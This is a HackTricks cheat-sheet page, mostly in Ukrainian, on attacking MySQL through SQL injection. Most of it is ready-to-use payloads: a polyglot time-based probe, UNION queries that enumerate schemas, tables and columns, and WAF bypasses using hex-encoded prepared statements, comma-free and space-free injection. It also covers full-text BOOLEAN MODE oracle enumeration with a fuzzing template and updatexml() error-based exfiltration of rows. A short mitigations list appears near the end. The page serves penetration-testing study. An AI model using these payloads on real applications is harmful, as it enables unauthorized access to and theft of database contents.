MySQL injection
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Коментарі
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
Цікаві функції
Підтвердити Mysql:
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
Корисні функції
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
Усі injection
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
з https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/
Потік
Пам’ятайте, що в “сучасних” версіях MySQL ви можете замінити “information_schema.tables” на “mysql.innodb_table_stats” (Це може бути корисним для обходу WAFs).
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
Тільки 1 значення
group_concat()Limit X,1
Сліпе по одному
substr(version(),X,1)='r'orsubstring(version(),X,1)=0x70orascii(substr(version(),X,1))=112mid(version(),X,1)='5'
Сліпе додавання
LPAD(version(),1...lenght(version()),'1')='asd'...RPAD(version(),1...lenght(version()),'1')='asd'...SELECT RIGHT(version(),1...lenght(version()))='asd'...SELECT LEFT(version(),1...lenght(version()))='asd'...SELECT INSTR('foobarbar', 'fo...')=1
Визначення кількості колонок
Використовуючи простий ORDER
order by 1
order by 2
order by 3
...
order by XXX
UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
MySQL Union Based
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
SSRF
Дізнайтеся тут різні варіанти, як зловживати Mysql injection, щоб отримати SSRF.
Хитрощі обходу WAF
Виконання запитів через Prepared Statements
Коли дозволені stacked queries, можливо обійти WAFs, присвоївши змінній шістнадцяткове представлення запиту, який ви хочете виконати (за допомогою SET), а потім використати PREPARE та EXECUTE MySQL, щоб зрештою виконати запит. Щось на кшталт цього:
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
Для отримання додаткової інформації, будь ласка, зверніться до this blog post.
Альтернативи Information_schema
Пам’ятайте, що в «сучасних» версіях MySQL ви можете замінити information_schema.tables на mysql.innodb_table_stats або на sys.x$schema_flattened_keys або на sys.schema_table_statistics
MySQLinjection без COMMAS
Вибрати 2 стовпці, не використовуючи жодної коми (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
Отримання значень без назви стовпця
Якщо в якийсь момент ви знаєте назву таблиці, але не знаєте назв стовпців у таблиці, ви можете спробувати з’ясувати, скільки там стовпців, виконавши щось на кшталт:
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
Припустимо, що є 2 колонки (першою — ID, другою — flag), ви можете спробувати bruteforce вміст flag, підбираючи символ за символом:
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
More info in https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952
Injection without SPACES (/**/ comment trick)
Деякі застосунки очищують або розбирають введені користувачем дані за допомогою функцій на кшталт sscanf("%128s", buf), які зупиняються на першому символі пробілу.
Оскільки MySQL трактує послідовність /**/ як коментар і як пробільний символ, її можна використовувати, щоб повністю усунути звичайні пробіли в payload, при цьому запит залишиться синтаксично вірним.
Приклад time-based blind injection, що обходить фільтр пробілів:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
Що база даних отримує як:
' OR SLEEP(5)-- -'
Це особливо зручно, коли:
- Керований буфер обмежений за розміром (наприклад,
%128s), і пробіли передчасно завершували б введення. - Інжекція через HTTP headers або інші поля, де звичайні пробіли видаляються або використовуються як роздільники.
- У поєднанні з
INTO OUTFILEпримітивами для досягнення повного pre-auth RCE (див. розділ MySQL File RCE).
Історія MySQL
Ви можете побачити інші виконання в MySQL, прочитавши таблицю: sys.x$statement_analysis
Альтернативи версійs
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)
Це не класичний SQL injection. Коли розробники підставляють введення користувача у MATCH(col) AGAINST('...' IN BOOLEAN MODE), MySQL виконує багатий набір булевих операторів пошуку всередині рядка в лапках. Багато правил WAF/SAST фокусуються лише на розриві лапок і пропускають цю поверхню.
Key points:
- Оператори оцінюються всередині лапок:
+(повинно включати),-(не повинно включати),*(суфіксний підстановочний символ),"..."(точна фраза),()(групування),</>/~(ваги). Див. MySQL документацію. - Це дозволяє перевірки присутності/відсутності та префіксні тести без виходу з літералу рядка, наприклад
AGAINST('+admin*' IN BOOLEAN MODE)щоб перевірити будь-який термін, що починається зadmin. - Корисно для побудови оракулів, наприклад «чи містить будь-який рядок термін з префіксом X?» та для перелічення/енумерації прихованих рядків за допомогою розгортання префікса.
Example query built by the backend:
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);
Якщо додаток повертає різні відповіді залежно від того, чи порожній набір результатів (наприклад, перенаправлення проти повідомлення про помилку), така поведінка перетворюється на Boolean oracle, який можна використовувати для переліку приватних даних, таких як приховані/видалені заголовки.
Sanitizer bypass patterns (generic):
- Boundary-trim preserving wildcard: якщо backend обрізає 1–2 символи в кінці кожного слова за допомогою regex на кшталт
(\b.{1,2})(\s)|(\b.{1,2}$), відправтеprefix*ZZ. Механізм очищення обрізаєZZ, але лишає*, тожprefix*лишається. - Early-break stripping: якщо код видаляє оператори по слову, але припиняє обробку, коли знаходить будь-який токен з довжиною ≥ min length, надсилайте два токени: перший — junk-токен, що відповідає порогу довжини, другий несе operator payload. Наприклад:
&&&&& +jack*ZZ→ після очищення:+&&&&& +jack*.
Payload template (URL-encoded):
keywords=%26%26%26%26%26+%2B{FUZZ}*xD
%26is&,%2Bis+. The trailingxD(or any two letters) is trimmed by the cleaner, preserving{FUZZ}*.- Treat a redirect as “match” and an error page as “no match”. Don’t auto-follow redirects to keep the oracle observable.
Enumeration workflow:
- Start with
{FUZZ} = a…z,0…9to find first-letter matches via+a*,+b*, … - For each positive prefix, branch:
a* → aa* / ab* / …. Repeat to recover the whole string. - Distribute requests (proxies, multiple accounts) if the app enforces flood control.
Why titles often leak while contents don’t:
- Some apps apply visibility checks only after a preliminary MATCH on titles/subjects. If control-flow depends on the “any results?” outcome before filtering, existence leaks occur.
Mitigations:
- If you don’t need Boolean logic, use
IN NATURAL LANGUAGE MODEor treat user input as a literal (escape/quote disables operators in other modes). - If Boolean mode is required, strip or neutralize all Boolean operators (
+ - * " ( ) < > ~) for every token (no early breaks) after tokenization. - Apply visibility/authorization filters before MATCH, or unify responses (constant timing/status) when the result set is empty vs. non-empty.
- Review analogous features in other DBMS: PostgreSQL
to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2CONTAINSalso parse operators inside quoted arguments.
Notes:
- Prepared statements do not protect against semantic abuse of
REGEXPor search operators. An input like.*remains a permissive regex even inside a quotedREGEXP '.*'. Use allow-lists or explicit guards.
Error-based exfiltration via updatexml()
When the application only returns SQL errors (not raw result sets), you can leak data through MySQL error strings:
dimension: id {
type: number
sql: updatexml(null, concat(0x7e, IFNULL((SELECT name FROM project_state LIMIT 1 OFFSET 0), 'NULL'), 0x7e, '///'), null) ;;
}
updatexml() генерує помилку XPATH, яка вбудовує конкатенований рядок, тож значення з внутрішнього SELECT з’являється в відповіді з помилкою між розділювачами (0x7e = ~). Перебирайте LIMIT 1 OFFSET N для перелічення рядків. Це працює навіть коли UI примушує “boolean” тести, оскільки повідомлення про помилку все ще відображається.
Інші MYSQL injection guides
Посилання
- Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)
- MySQL Full-Text Search – Boolean mode
- MySQL Full-Text Search – Overview
- MySQL REGEXP documentation
- ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)
- LookOut: RCE and internal access on Looker (Tenable)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


